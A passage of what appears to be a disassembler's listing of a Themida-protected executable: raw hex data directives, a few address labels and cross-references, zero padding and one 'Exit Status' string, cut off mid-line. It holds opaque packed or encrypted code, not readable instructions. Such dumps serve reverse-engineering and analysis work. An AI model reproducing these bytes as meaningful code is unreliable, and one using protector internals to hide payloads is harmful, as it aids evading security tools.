61BD0960h, 8906150Ah, 1509299Dh dd 44036106h, 50F82424h, 88F0Fh, 0F600000h, 85h, 4896100h dd 14E924h, 5DFE0000h, 718D5B44h, 0D9BBDD0h, 827FC900h dd 0B3493F85h, 0F9AB9F86h, 3021BD8Dh, 0ADF50615h, 0A619D89h dd 44030615h, 60602824h, 1061BD89h, 8A0F0615h, 0 dd 10F5BE61h, 0AB612B03h, 14840Fh, 0FE90000h, 0DB000000h dd 0D31268D8h, 60E3FEEDh, 83397522h, 0F85E7EA3h, 0DE9h dd 0E3756C00h, 4359F9A1h, 0A3210F2Bh, 8DFF3694h, 6153B2Eh dd 3B2EBD83h, 75000615h, 2444C710h, 1Ch, 0BB58D00h, 0FF061540h dd 3AD56E6h, 97282444h, 858ADF8Bh, 61509C5h, 474C084h dd 4C75073Ah, 0AEC03257h, 2B5EFD75h, 33FC52FBh, 0D18B49C9h dd 0DB33C033h, 8AC132ACh, 8AEA8ACDh, 6608B6D6h, 0D166EBD1h dd 660973D8h, 66504135h, 5449F381h, 0EB75CEFEh, 0D333C833h dd 0F7D5754Fh, 8BD1F7D2h, 10C0C1C2h, 5AC18B66h, 0F74D03Bh dd 4C6835Eh, 0A5D85FFh, 6FE90615h, 5EFFFFFFh, 59B58B60h dd 3061529h, 150681B5h, 8D0F6106h, 0Ah, 33616060h, 152ED5B5h dd 8B606106h, 0CE960CFh, 0CC000000h, 77DA2B70h, 0EDF8014Eh dd 0E870F745h, 11h, 0CB4BE497h, 0D9D3DE31h, 6E43C6C7h dd 77992A81h, 61615AC7h, 0A5D858Bh, 860F0615h, 6, 28099589h dd 0E0D10615h, 8E9h, 0F4691A00h, 45390FD3h, 2185035Bh dd 0F5061530h, 0BEh, 0BD953100h, 96061504h, 6870Fh, 0BD090000h dd 6152799h, 860FAD66h, 6, 0D8DB589h, 0E0C10615h, 8D896002h dd 6152AF5h, 24A1B589h, 3610615h, 1521D985h, 8B0F6006h dd 4, 762EBA66h, 1E7D8529h, 96610615h, 0AE9h, 0EBD10000h dd 7A079A60h, 0ADDC3AA0h, 18B0Fh, 8BF50000h, 8924244Ch dd 15301D9Dh, 24440306h, 68D0F24h, 31000000h, 150CEDB5h dd 24448906h, 5DBD091Ch, 60061524h, 0C659D01h, 8B660615h dd 0E99661C3h, 6, 3803DF8Dh, 0FAC1FC2h, 1987h, 13820F00h dd 0E9000000h, 0Eh, 0DEB772D3h, 1B920399h, 3C5073BAh, 0C9328DC3h dd 4EDBD89h, 0C1FE0615h, 3371B589h, 0F600615h, 182h, 0BE8F900h dd 0A0000000h, 30D11746h, 0F5E18CDFh, 9D89B617h, 61520C5h dd 0D0D0615Ah, 0B0830Fh, 8D890000h, 6152D91h, 0F3EF8160h dd 8B6D9C9Ah, 15007595h, 0D0D06106h, 94830Fh, 5E90000h dd 89000000h, 77BBE307h, 820FD0D0h, 82h, 5DDB589h, 0D0D00615h dd 74820Fh, 8A0F0000h, 0Bh, 6E9h, 0A03ACC00h, 0FEBE62FAh dd 0A3890FC9h, 0FCFFFFFFh, 0E920C483h, 7, 44413BB4h, 293A76CFh dd 15301DB5h, 2444C706h, 0FCh, 9BD8900h, 0F061521h, 687h dd 45BD8900h, 0B806152Fh, 1, 0C860Fh, 860F0000h, 6, 46DB531h dd 8D8D0615h, 615720Dh, 23D8D89h, 0E1FF0615h, 0ADDBD89h dd 85C60615h, 61509C5h, 5E900h, 85F70000h, 61CD8E12h, 6699D01h dd 8C20615h, 8589F500h, 615291Dh dword_57DA5C dd 12840F50h, 50000000h, 0F525052h, 0F585A31h, 0F525031h ; DATA XREF: Themida_:0057B3D4o dd 5A585A31h, 24348958h, 1315B589h, 0B5890615h, 615421Dh dd 308D89F5h, 9061542h, 152DE18Dh, 0C2B58D06h, 29061540h dd 152335B5h, 0E850F06h, 60000000h, 4018589h, 858B0615h dd 6151E81h, 0A1858D61h, 89005B8Eh, 152235BDh, 0FD0FF06h dd 18Fh, 605EF800h, 28C0Fh, 0D78A0000h, 2EC58D8Bh, 89610615h dd 1527759Dh, 8160C306h, 0EE7F21C8h, 6E949h, 0E7250000h dd 0B6837656h, 1DB58B61h, 89061542h, 1504BDBDh, 308D8B06h dd 9061542h, 1508DDB5h, 0B806h, 8D290000h, 6152CF5h, 8531D98Bh dd 6151E91h, 10AE9h, 8EBB6000h, 6065EEC0h, 727BBE66h, 26FD8D29h dd 61610615h, 9E92632h, 0A2000000h, 679504D0h, 49DD0A99h dd 0E9FC02B2h, 89h, 24B19589h, 0C2320615h, 10E9h, 5C539200h dd 82608308h, 0D39824D0h, 178EFCD3h, 0BF0F6049h, 2D41BFFAh dd 56117ADh, 8A751D7Ah, 18B58D29h, 0CC8A0615h, 2A5D8529h dd 0D3F80615h, 0E850FC8h, 60000000h, 175D8D09h, 858B0615h dd 6152F55h, 8423561h, 800F98D1h, 0Ch, 6860Fh, 0BD310000h dd 6150A45h, 7E9CAFEh, 3F000000h, 0F28A5F9Ch, 830FEA97h dd 0Dh, 8E9h, 0A917EE00h, 85DA0120h, 0FD20A07h, 0FFFF7585h dd 0AE9FFh, 1E40000h, 9505B3B6h, 68312D3Eh, 60FC8A60h dd 8A0Fh, 61610000h, 13E94Bh, 96EA0000h, 36BB74DAh, 6AC3A376h dd 2376B6CAh, 7737780Dh, 0F604625h, 68Ch, 22DF8100h, 605DFEE9h dd 891ADA80h, 152FFD8Dh, 0B616106h, 1850FDBh, 0E9FFFFFFh dd 8, 7A370505h, 0FCFCE970h, 6E9CFh, 5D350000h, 0F0A14809h dd 0FC0000h, 0BD896000h, 6151CA5h, 0A399523h, 610615h dd 0E5850900h, 61511h, 858DF900h, 6153B38h, 0AE9h, 45678100h dd 0C496ECB9h, 893BD8D4h, 150D7D85h, 65950106h, 8D061517h dd 15402D85h, 0C18B6006h, 0DCD78166h, 0DE96109h, 0C9000000h dd 0D950F6C7h, 606EE056h, 755817C7h, 19A58589h, 14EB0615h dd 4 dup(0) dd 0E2h, 4351858Dh, 85890615h, 615281Dh, 4291BD83h, 0F000615h dd 12C84h, 0C585C600h, 56061509h, 63565A68h, 2404818Bh dd 48BC16DFh, 1685B5FFh, 858D0615h, 6153B38h, 8589D0FFh dd 6154285h, 9C585C6h, 68560615h, 0BA9045B1h, 0E3243481h dd 0FF2638FDh, 151685B5h, 38858D06h, 0FF06153Bh, 898589D0h dd 6A061542h, 4E804h, 10000000h, 8B500000h, 8B042444h dd 24448900h, 858B5804h, 6154295h, 1F405h, 2E0C100h, 24048950h dd 95FF006Ah, 6154289h, 428D8589h, 0D88B0615h, 0FFFFFFB8h dd 1D95FFFFh, 8B061528h, 1D95FFC3h, 0E9061528h, 8Dh dword_57DD80 dd 4291BD83h, 0F000615h, 185h, 8B57C300h, 15428DBDh, 8583AB06h ; DATA XREF: Themida_:0057C24Co dd 615428Dh, 83C35F04h, 154291BDh, 850F0006h, 1, 0AD8360C3h dd 615428Dh, 8D9D8B04h, 83061542h, 0FFFFC7Bh, 1D85h, 0B66E6800h dd 4818FDAh, 25C99224h, 0FF006A70h, 8595FF33h, 61061542h dd 26E9C3h, 4E80000h, 0 dd 50000080h, 424448Bh, 4489008Bh, 6A580424h, 0FF33FF00h dd 15428595h, 8DAD8306h, 4061542h, 0FFFFA8E9h, 0ADE948FFh dd 60000001h, 2424748Bh, 28247C8Bh, 8A80B2FCh, 7884606h dd 2BB47h, 0D2020000h, 5850Fh, 168A0000h, 0FD21246h, 0FFFFE283h dd 0FD202FFh, 585h, 46168A00h, 830FD212h, 6Ah, 0D202C033h dd 5850Fh, 168A0000h, 0FD21246h, 12A83h, 0FD20200h, 585h dd 46168A00h, 0C013D212h, 850FD202h, 5, 1246168Ah, 2C013D2h dd 5850FD2h, 8A000000h, 0D2124616h, 0D202C013h, 5850Fh dd 168A0000h, 13D21246h, 6840FC0h, 57000000h, 78AF82Bh dd 4707885Fh, 2BBh, 0FF70E900h, 1B8FFFFh, 2000000h, 5850FD2h dd 8A000000h, 0D2124616h, 0D202C013h, 5850Fh, 168A0000h dd 0FD21246h, 0FFFFDE82h, 0BBC32BFFh, 1, 34850Fh, 1B90000h dd 2000000h, 5850FD2h, 8A000000h, 0D2124616h, 0D202C913h dd 5850Fh, 168A0000h, 0FD21246h, 0FFFFDE82h, 0F78B56FFh dd 0A4F3F52Bh, 0FF08E95Eh, 0C148FFFFh, 68A08E0h, 0B9E88B46h dd 1, 850FD202h, 5, 1246168Ah, 2C913D2h, 5850FD2h, 8A000000h dd 0D2124616h, 0FFDE820Fh, 3DFFFFh, 0F00007Dh, 2283h, 5003D00h dd 820F0000h, 0Eh, 0F78B5641h, 0A4F3F02Bh, 0FEB4E95Eh dd 0F883FFFFh, 3870F7Fh, 83000000h, 8B5602C1h, 0F3F02BF7h dd 9BE95EA4h, 8AFFFFFEh, 0C9334606h, 0F01E8C0h, 1784h dd 2D18300h, 8B56E88Bh, 0F3F02BF7h, 1BB5EA4h, 0E9000000h dd 0FFFFFE76h, 28247C2Bh, 1C247C89h, 8C261h, 929BAh, 9D3E900h dd 2BE70000h, 9488BE95h, 5A199A8Eh, 0D20FEFEDh, 5E14CCAAh dd 0F50720F8h, 7D5C11A6h, 0CF36F42Ch, 0DBAC13Eh, 0D683B395h dd 4D0B9282h, 0C01EBCBFh, 151B89ADh, 0FF774397h, 7C4105ACh dd 0CF36A620h, 0EB5C73Ch, 0D699B395h, 52118F9Dh, 0DE02A2BFh dd 1B0F9EB6h, 0B34320FCh, 6D4101BBh, 8137F46Dh, 18A1C729h dd 999FAA95h, 521F8F9Ch, 0B1h, 62h dup(0) dd 2BE70000h, 9882B795h, 4D118992h, 0DC15BFBFh, 56179EBEh dd 0E04626BDh, 7C5706E9h, 0CE25A662h, 4AB0C625h, 9883AFC7h dd 1F199392h, 0CA47A1F6h, 1B0499B6h, 0E75437EEh, 131C09ACh dd 0C42FD601h, 46B1DB31h, 9A83AF95h, 1F1A9C94h, 0D547BBF6h dd 1B1B83ABh, 0FC4A2BF0h, 78121DBBh, 0D363E262h, 0BA0DB35h dd 8FCDAEC7h, 1F0C8894h, 0D408BDEFh, 151B8DABh, 48h dup(0) dd 2BE70000h, 979FB995h, 4D1B9698h, 0C747BCB8h, 1B1A83B6h dd 0B3542FF5h, 775701ABh, 0D42CE02Ch, 18F4CC3Eh, 9F83B4C0h dd 565E9A95h, 0DC1EEFF1h, 48569EACh, 0F6533DE4h, 14384AA4h dd 0C026EA5Ch, 4AF8CD23h, 9981B4C0h, 565E999Ah, 0C101EFEBh dd 565681B6h, 0E14823F8h, 775344B0h, 0C431A668h, 18B5DC23h dd 9994FAC1h, 4F5E8F8Eh, 0C100A0EDh, 5881B8h, 61h dup(0) dd 2CE70000h, 0D688B6DCh, 4D0C9298h, 0D613BFEAh, 1B58CDBDh dd 0E04E26C9h, 764014E9h, 0CC22F46Bh, 19B5C070h, 9388B895h dd 5E13DD95h, 0C617A6F1h, 5E028DB5h, 0FD466EF9h, 785F44ADh dd 0AB26E475h, 4DA0C15Dh, 9884FAC6h, 4B1D989Dh, 0D147ABFAh dd 1B17CCA0h, 0E65527CBh, 6B5D44BAh, 0C031E52Ch, 0EB1C333h dd 9EB9FA9Bh, 595E8E92h, 9302A3F6h, 1C1883AEh, 0FC506EE9h dd 78120FBBh, 0CE2EFF62h, 0FACD22h, 0E0h dup(0) dd 4C570000h, 446D754Eh, 50734C4Ch, 746F72h, 30h, 8 dup(0) aExitStatusD db 'Exit Status = %d',0 align 4 dd 0 dd 2BF9E900h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 150424h, 50400000h, 0E917DBC3h, 9, 952AD556h, 65F7A0EDh dd 9589FC86h, 61500F9h, 9589C08Bh, 61520CDh, 0BD837DB2h dd 61508F5h, 83097500h, 1503ADBDh, 13740006h, 0C08B5350h dd 1B8h, 409D8D00h, 0FF0617A9h, 83585BD3h, 1503ADBDh, 11740006h dd 1B85350h, 8D000000h, 17A7F19Dh, 5BD3FF06h, 13800F58h dd 0E9000000h, 0Eh, 95B9BCEDh, 483605FAh, 0BA346444h, 958B66B6h dd 6152B25h, 0BD83C08Bh, 6151E15h, 0C5840F00h, 3000001h dd 1524359Dh, 9BD8306h, 61503h, 1B2840Fh, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 33C7FCC3h, 60D78B66h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Dh, 49C35343h, 0F2DBC43Bh, 0CFD985Eh, 8BD38B6Dh dd 15030985h, 0E7805306h, 0E8055B7Ch, 0F000003h, 68Dh dd 29958B00h, 50061522h, 489D18Bh, 50006A24h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 0FAC23544h dd 0BAD9D29h, 858D0615h, 6154F55h, 27999589h, 0E8900615h dd 8, 8B697B34h, 0D86B2786h, 5B616053h, 5260505Bh, 8E8h dd 0BB3D3A00h, 4284AD59h, 0F585BA5h, 28Ch, 61616000h, 0B9BD2990h dd 8D061522h, 154F3385h, 0CE806h, 0A66A0000h, 479A207Ch dd 2D98AEC3h, 0D18B745Bh, 5250505Ah, 13E8h, 43437100h dd 9FB1BB15h, 9FD50D2Eh, 0F3478A22h, 59AD0CBDh, 0F5B6160h dd 0D88B6631h, 489585Ah, 5FC28024h, 8E19589h, 95FF0615h dd 6152F29h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 14h, 9AC35747h, 0BA98D89h, 85890615h, 61518E5h, 0B0CC483h dd 15116595h, 33858D06h, 6A06154Fh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 73ACC356h dd 5DBA25A2h, 794C30E8h, 89DF8B50h, 8F0F2404h, 6, 23FD9D89h dd 26A0615h, 0FFC7EA80h, 6AED1495h, 0D18B6600h, 0EE961h dd 46C20000h, 0F5F0B421h, 0C2638E50h, 0C439DC68h, 4F6685C7h dd 10615h, 0E2810000h, 2BD463E3h, 0D68B6650h, 29243489h dd 15046DB5h, 0C1C28106h, 897D4B05h, 154F17B5h, 9E806h dd 6A9B0000h, 0A652B552h, 0F55F054h, 685h, 8D850100h, 5B06151Ch dd 2DB5BD83h, 0F010615h, 7785h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 0A6A1E670h dd 2EFE1E39h, 0CA80F03Eh, 5F883B0h, 46850Fh, 0E3810000h dd 6ECD7A3Fh, 99858953h, 5A061523h, 0B8h, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 6689C24Ah, 0FF943BBh, 0B84h, 0BD016000h, 6152831h, 61F4D880h dd 56DBD83h, 0F000615h, 3784h, 0CA816600h, 8B600B15h, 1501FD9Dh dd 6D95FF06h, 0F061505h, 884h, 9D8B5100h, 6150421h, 0B589605Ah dd 61514C5h, 0E9858B57h, 59061528h, 9D2B6161h, 615100Dh dd 0A01BD83h, 0F000615h, 1484h, 77F38100h, 0B8799B99h dd 0 dd 909B509h, 0BF0F0615h, 6A60D0h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1A0424h, 52420000h, 2E6D9AC3h, 590E0473h dd 5D28166h, 49858B58h, 83061528h, 6A02C0h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 150424h, 55450000h, 8BBE84C3h dd 1517E995h, 0F858906h, 6006154Fh, 945BD01h, 8D290615h dd 6151E89h, 0FF00C661h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 15h, 0F2C35040h, 859503E2h, 89061517h, 15110585h dd 0AD9D8B06h, 0C6061519h, 1509C585h, 958B5306h, 6152789h dd 971958Bh, 0D4680615h, 0BBE26F92h, 53C19D7Fh, 0C243481h dd 801EDEDAh, 0B5FF2ED3h, 6152811h, 0D559589h, 858D0615h dd 61872BCh, 19D99589h, 0D0FF0615h, 259CB0BAh, 2185895Bh dd 0B206152Eh, 0EDBD83DBh, 106150Bh, 63850Fh, 85890000h dd 6152D0Dh, 600BA61h, 9D8B0EAAh, 6151721h, 9C585C6h, 0BA450615h dd 4B0D7FF1h, 95A36068h, 0D78B66BBh, 0A2243481h, 0B661F59Bh dd 11B5FF0Eh, 29061528h, 150C7DBDh, 1850906h, 8D061501h dd 1872BC85h, 559D8B06h, 0B06150Ah, 15139195h, 9D0FF06h dd 1533E18Dh, 0B2006A06h, 0B3D0FFA3h, 0D5BD838Ch, 1061533h dd 137850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1D0424h, 55450000h, 417D69C3h, 4CE2F3B6h, 80368F93h dd 858B7CEFh, 6152849h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 19h, 0F4C35040h, 17C6A38Bh, 870F6051h, 0Dh dd 8E9h, 5FE19600h, 0F02A8E79h, 0B50B51EBh, 6151D39h, 76E96158h dd 66000000h, 718CF281h, 8A525090h, 0E9310FF3h, 0Eh, 0F4111CB2h dd 0B0D5F41Bh, 6696CEC5h, 585A55C9h, 0B0BB6650h, 8E9907Ch dd 7C000000h, 0BCC6E63Fh, 6AC82F28h, 51006A14h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 0D59A9E5Fh dd 606FE1C6h, 8E98BB66h, 9EF8BF66h, 0FFDD8A61h, 152E2195h dd 8D8BBA06h, 89587D09h, 15024DB5h, 388006h, 0FF86850Fh dd 6AFFFFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h dd 55450000h, 0D27E58C3h, 0C6F9322Fh, 6A0100h, 3E850h dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 0C87784C3h, 8B667F1Eh, 6A61DFh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 190424h, 56460000h, 9BE9D9C3h, 0B3B32699h dd 1DBD838Eh, 61503h, 3B840Fh, 81660000h, 6A6E02E2h, 57006AFFh dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 0FFB84127h, 152E2195h, 5AF95106h, 0FFFFD2E9h, 8D8960FFh dd 6150C15h, 1D85C761h, 1061503h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 2B1C357h, 8B455EE9h, 15184995h, 1B858906h, 0F06154Fh dd 186h, 0BB90F800h, 2C5645B7h, 7E850h, 0FC3F0000h, 2CB086FAh dd 57525085h, 0F310F5Ah, 83h, 5A585A00h, 0F9950B90h, 6006152Ch dd 6AD0B70Fh, 0C1BD8905h, 8D061521h, 154F3385h, 90BEB306h dd 12E9h, 0CF3DA600h, 0DDCFCC9h, 505037ABh, 0C4689A53h dd 50B86936h, 8190D38Ah, 11FA67EAh, 23858D16h, 6A06154Fh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h dd 42000000h, 0C666C352h, 0E3FD793Ch, 0F8E84A9h, 0A8D8509h dd 89500615h, 830F2404h, 19h, 0FE960h, 81320000h, 482D9F06h dd 88EF62E5h, 4703BC4Fh, 0CEB70F92h, 0B195FF61h, 6A061504h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 2A74C351h, 7AFD8D8Dh, 6A0615h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 160424h, 51410000h, 905FC2C3h dd 0E280D68Bh, 74C00B26h, 33858D11h, 5006154Fh, 8589D1FFh dd 6154F51h, 85C70AEBh, 6154F51h, 0FFFFFFFFh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 84C35545h, 5A9D641Bh dd 0F6E7857Ah, 3941C281h, 6A613635h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 80F7C355h dd 7BB00BE2h, 0BD89B3E5h, 6153371h, 85C6D18Bh, 61509C5h dd 2D9D8B4Dh, 68061526h, 8C38F817h, 5AD68B56h, 0BF243481h dd 6A280D8Eh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 3DFCC356h, 94ED015Dh, 0FF29D728h dd 152159B5h, 858DF906h, 61872BCh, 6731BA66h, 8E8D0FFh dd 65000000h, 0BCF6CBEAh, 896F1EF8h, 150C65B5h, 85895A06h dd 61506D5h, 0EF8028B2h, 0C585C671h, 45061509h, 1121958Bh dd 958B0615h, 6152925h, 52963C68h, 53525081h, 5BD88B66h dd 8B66310Fh, 81585ADEh, 0D32D2404h, 0DB800D1Fh, 0CA81660Dh dd 0B5FFD8C6h, 6152811h, 3445B509h, 858D0615h, 61872BCh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 53C35545h dd 994F8B20h, 930283A2h, 9589D0FFh, 61511D9h, 26698589h dd 6A0615h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h dd 50400000h, 3BF84FC3h, 0BF0F3545h, 0D88B66DBh, 6AD28Bh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 0BA075AC3h, 0A4440887h, 9D8BF0Fh, 15074985h, 0D98C6606h dd 0C1F6D9B7h, 40840F04h, 6A000002h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 73E6C355h dd 0C7A35ADCh, 895A01A0h, 15271185h, 0D9958B06h, 0E9061522h dd 110h, 18B5958Bh, 0B58B0615h, 6150B8Dh, 0CE9h, 125BE300h dd 681BD834h, 0FC6B2B7Fh, 80C68166h, 6A000011h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 2992C351h, 0F4D90E84h, 0C45685C3h, 5E28BB66h, 1E01BD83h dd 0F000615h, 2A85h, 87E9FC00h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 668C352h dd 6BB01B80h, 83D78B83h, 840F003Eh, 5Ah, 0A18D0957h, 5B061511h dd 0CB816660h, 146AD69Fh, 95FF87B7h, 6152E21h, 202115BAh dd 6A6145h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h dd 57470000h, 0AEE235C3h, 9E8D2E9h, 0D2000000h, 6A36571Dh dd 1C12136Fh, 16759D09h, 0E95B0615h, 0FFFFFF9Fh, 6C7D68Bh dd 1, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h dd 9BC35141h, 0FC0A977h, 2E7806Ch, 4F1BBD83h, 0F050615h dd 0EE85h, 0D78B6600h, 2669B58Bh, 8D0F0615h, 0 dd 64B9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1904h, 0C3574700h, 86A0161Eh, 0B70FEFBEh, 8D9529DBh dd 80061513h, 840FE83Eh, 3Bh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Bh, 7AC35141h, 3706E99Ah, 8B81BBC5h dd 151E8995h, 2DE906h, 8E90000h, 8E000000h, 3AFCFF4Ch dd 80A95BF0h, 0FC2057Eh, 5084h, 0D870F00h, 0E9000000h dd 8, 1993C66h, 0A64C2711h, 46D9B70Fh, 10819D23h, 0F490615h dd 0FFFF8E85h, 95BD89FFh, 0E9061523h, 33h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 67C35141h, 80E7EF87h dd 31B58972h, 906150Eh, 151159B5h, 0B18D8906h, 58061525h dd 5B57F381h, 0BD8336B1h, 61528C9h, 0EA840F00h, 60000000h dd 82C28166h, 0C585C619h, 54061509h, 18E59D8Bh, 0B0680615h dd 0B6D3D3E6h, 24348149h, 2C9D5844h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 14h, 0F2C35141h, 1D859D89h, 0FFF90615h dd 152811B5h, 0D0BF0F06h, 8DD9B70Fh, 1872BC85h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 9422F9C8h, 0E8D55877h, 8, 9879B14Dh, 0F0A8E50Eh, 0FF5AD08Bh dd 0B19D23D0h, 6A061527h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 6DBB6658h dd 0C9B5FFEBh, 89061528h, 15129195h, 66D0FF06h, 6A61D38Bh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 0A6FAC350h, 0F87174Ch, 8Ah, 0A985C700h, 1061518h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1B042444h, 40000000h, 696DC350h, 898A305h, 66603C4Fh dd 8D8BC18Bh, 615035Dh, 6A6061h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 150424h, 53430000h, 8BCBB5C3h, 150A4D95h dd 160B6806h, 0D08B2A62h, 8B243481h, 0F2A6216h, 484h, 0D38B5000h dd 89FF6A5Bh, 152E3D95h, 8D95FF06h, 8B061524h, 15108995h dd 14E96106h, 0B7000000h, 54503BC5h, 0D8BE598Ah, 0FEE6E775h dd 78355A26h, 8B51458Fh, 152A519Dh, 0BE99006h, 4B000000h dd 7E4880DDh, 664C6742h, 6050A7D7h, 9061B6B7h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0B0C35646h, 6655D5A3h dd 0B074D98Eh, 0DDBD31AAh, 8B061505h, 150C2185h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 0B449B627h, 1165E858h, 0FE84A03h, 65000000h, 10BAE66Bh dd 2C1C3F32h, 81674D51h, 0BF0FD0E1h, 0C00B5AD0h, 0C840Fh dd 95FF0000h, 6152B39h, 947DE281h, 85C7636Bh, 615111Dh dd 1, 38F0Fh, 0DF800000h, 0E9BD831Eh, 61502h, 0F840Fh dd 0C2800000h, 595FFA0h, 89061515h, 15261585h, 75BD8306h dd 61507h, 11840Fh, 0DE8B0000h, 82595FFh, 0E7800615h, 819D8B75h dd 8306151Eh, 150DC1BDh, 840F0006h, 9Eh, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 15h, 0C0C35343h, 0F585898Bh dd 83061512h, 150A19BDh, 850F0006h, 6Eh, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 1Dh, 0BDC35141h, 7DAA246Ah dd 0DFD97B44h, 8D8951FFh, 615100Dh, 0E595FF5Bh, 6A061501h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 2E81C351h, 0D9D8B9Fh, 0F061529h, 1188h, 0CE900h dd 5D960000h, 0B1E6402Ch, 0C015E65Ch, 0BD83F2BBh, 61525CDh dd 6A840F00h, 0F000000h, 685h, 7DB53100h, 81061508h, 15138585h dd 400306h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1804h, 0C3534300h, 5D8F80FAh, 499D8B6Bh, 8106150Ch dd 1502A185h, 400306h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1704h, 0C3524200h, 43A3F628h, 0FC6BB560h dd 0E9310F61h, 10h, 0D60993A6h, 0E5A30067h, 5973F92Bh dd 0E41E7FF5h, 5EA48D8Dh, 8B660615h, 890189DEh, 150AA985h dd 6AC23306h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 19042444h, 40000000h, 6725C350h, 7D96C729h, 6A59D01h dd 41890615h, 55006A04h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1504h, 0C3554500h, 810F57D9h, 6, 0FF99529h, 310F0615h dd 12E9h, 4A32DD00h, 5C433CD0h, 0D767B3D8h, 88ACC4AEh dd 8D9C6882h, 155ED48Dh, 0DE806h, 22150000h, 53DEB198h dd 7D362008h, 81680778h, 548685CBh, 1895A42h, 0DE957h dd 1CF30000h, 0E7395180h, 2C0F807Ah, 5A79C2DAh, 0B70FC233h dd 44189D6h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Bh, 50C35747h, 0D2F9981Ah, 839314D0h, 151CF9BDh, 840F0006h dd 11h, 8A5BD29h, 95FF0615h, 6150931h, 883E7ABAh, 45BD832Eh dd 1061500h, 57850Fh, 0F38A0000h, 50E9h, 4ABA5000h, 5B4F0D92h dd 6025B58Bh, 6C70615h, 0 dd 5DA6B58Bh, 6C70615h, 0 dd 95958BCFh, 6A061511h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1C042444h, 43000000h, 0A917C353h, 85DA0120h dd 8967EF07h, 15127D8Dh, 1DBD8306h, 61511h, 113840Fh, 0BB660000h dd 0BD838B93h, 6150941h, 0EF850F01h, 53000000h, 5B08EF80h dd 4F0F8D8Bh, 0DB810615h, 25EC902Ch, 0E90001C6h, 12h, 9F20A7DEh dd 5A181787h, 0FF0CE77h, 0B72DDC1Ch, 6A60EBE3h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 941AC352h, 0F921D6Fh, 0E468D1BFh, 0E8610B98h, 9, 7BCAE13Bh dd 7B0DAC17h, 0D86ABA60h, 815A08BFh, 98642434h, 5E9610Bh dd 8A000000h, 273F43CDh, 0FFFF6AF5h, 15248D95h, 0E8D78006h dd 49CF8061h, 260195FFh, 958B0615h, 6152D49h, 4F0F8D8Bh dd 6A0615h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h dd 51410000h, 606B2FC3h, 8518481Ah, 80BCAADDh, 1FEDBEAh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 8C35141h dd 0E789A0BFh, 8D1B5B0Ah, 13899D8Bh, 0BD830615h, 6151CE1h dd 6850F01h, 81000000h, 67D064DBh, 6AC08B74h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h dd 2375C357h, 95958BDAh, 8306150Ah, 1508F5BDh, 